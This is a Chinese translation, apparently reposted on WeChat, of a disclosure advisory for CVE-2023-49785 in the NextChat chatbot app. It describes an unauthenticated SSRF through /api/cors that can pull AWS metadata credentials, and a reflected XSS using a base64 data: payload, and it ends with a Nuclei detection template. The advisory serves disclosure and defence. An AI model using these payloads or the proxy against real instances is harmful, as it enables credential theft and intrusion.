随着生成式人工智能的出现,人工智能聊天机器人无处不在。虽然用户可以使用 OpenAI 等 SaaS 提供商与大语言模型 (LLM) 聊天,但也有许多独立的聊天机器人应用程序可供用户部署和使用。这些独立应用程序通常提供比 OpenAI 更丰富的用户界面、附加功能,例如插入和测试不同模型的能力,以及潜在绕过 IP 块限制的能力。
根据我们的研究,部署最广泛的独立 Gen AI 聊天机器人是NextChat,又名 ChatGPT-Next-Web。这是一个拥有 63K+ 星和 52K+ 分叉的 GitHub 项目。Shodan 查询 title:NextChat,”ChatGPT Next Web”提取了 7500 多个暴露实例,其中大部分位于中国和美国。
此应用程序容易受到严重的全读服务器端请求伪造 (SSRF) 漏洞CVE-2023-49785的影响,我们于 2023 年 11 月向供应商披露了该漏洞。截至撰写本文时,还没有针对该漏洞的补丁。自我们最初披露以来已经过去了 90 多天,我们现在在此发布完整的详细信息。
CVE-2023-49785:超级 SSRF
NextChat 是一个基于 Next.js 的 Javascript 应用程序,其大部分功能都是作为客户端代码实现的。
然而,有一些暴露的服务器端点。这些端点之一位于/api/cors,它按照设计作为开放代理运行,允许未经身份验证的用户通过它发送任意 HTTP 请求。添加此端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器。此端点的存在是一种反模式:它允许客户端通过服务器端端点访问跨域资源,从而绕过内置的浏览器保护。
例如,要通过此代理访问 Google,可以发出以下请求:
SSRF 漏洞在现实世界的影响方面差异很大。这个特殊的 SSRF 几乎是最糟糕的。这很危险,因为:
-
它允许访问任意 HTTP 端点,包括任何内部端点
-
它返回来自任何访问的 HTTP 端点的完整响应
-
它通过设置标头支持任意 HTTP 方法,例如 POST、PUT 等method。请求主体也会被传递。
-
URL 查询参数可以与 URL 编码一起传递。
-
它支持在请求中传递Authorization标头。
如果此应用程序暴露在 Internet 上,则攻击者基本上可以完全访问与该应用程序在同一内部网络中可访问的任何其他 HTTP 资源。唯一的限制是传递其他标头,例如Cookie或Content-Type,尽管可能有创造性的方法来注入这些标头。
以下是访问 AWS 云元数据服务以从启用了 IMDSv1 的 AWS EC2 实例检索 AWS 访问密钥的示例:
sh-3.2
{
"Code" : "Success",
"LastUpdated" : "2024-03-08T00:22:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA-REDACTED",
"SecretAccessKey" : "C2CW-REDACTED",
"Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
"Expiration" : "2024-03-08T06:58:15Z"
}
反射型 XSS
几乎所有反映的 XSS 漏洞对攻击者来说价值不大。但我们认为有趣的是,该漏洞可用于直接触发 XSS,而无需加载其他站点。这是因为端点fetch使用的方法/api/cors也支持该data协议。
例如,以下有效负载:
data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23
<script>alert(document.domain)</script>
将在服务器处解码并发送回客户端,从而导致 XSS:
缓解措施
我们对此漏洞的评估得出的 CVE 基本评分为9.1(严重)。该漏洞不仅允许对内部 HTTP 端点进行读取访问,还允许使用 HTTP POST、PUT 和其他方法进行写入访问。攻击者还可以利用此漏洞通过这些开放代理转发针对其他互联网目标的恶意流量,从而掩盖其源 IP。
截至撰写本文时,还没有针对该漏洞的补丁。距离我们最初的联系已经过去了 90 多天。
-
2023 年 11 月 25 日:Horizon3通过 GitHub 漏洞披露流程向ChatGPT-Next-Web报告安全问题
-
2023年11月26日:供应商接受报告
-
2023 年 12 月 6 日:GitHub CNA 保留 CVE-2023-49785
-
2024 年 1 月 15 日:Horizon3 使用 GitHub 安全问题要求供应商进行更新。没有反应。
-
2024 年 3 月 7 日:Horizon3 使用 GitHub 安全问题要求供应商进行更新。没有反应。
-
2024 年 3 月 11 日:公开披露
NextChat模板可用于检测此漏洞。该易受攻击的代码于 2023 年 9 月引入。大多数在线实例(包括使用更新的“NextChat”名称的任何实例)很可能容易受到攻击。
id: CVE-2023-49785
info:
name: CVE-2023-49785
author: nvn1729
severity: critical
description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
remediation: |
Do not expose to the Internet
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2023-49785
tags: cve-2023-49785,ssrf,xss
http:
- method: GET
path:
- "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
- "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS interaction from second request
words:
- "dns"
- type: dsl
dsl:
- 'contains(body_1, "<script>alert(document.domain)</script>") && contains(header_1, "text/html")' # XSS validation in first request
- 'contains(header_2, "X-Interactsh-Version")' # Or got HTTP response back from Interact server
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):ChatGPT-Next-Web存在SSRF和反射型XSS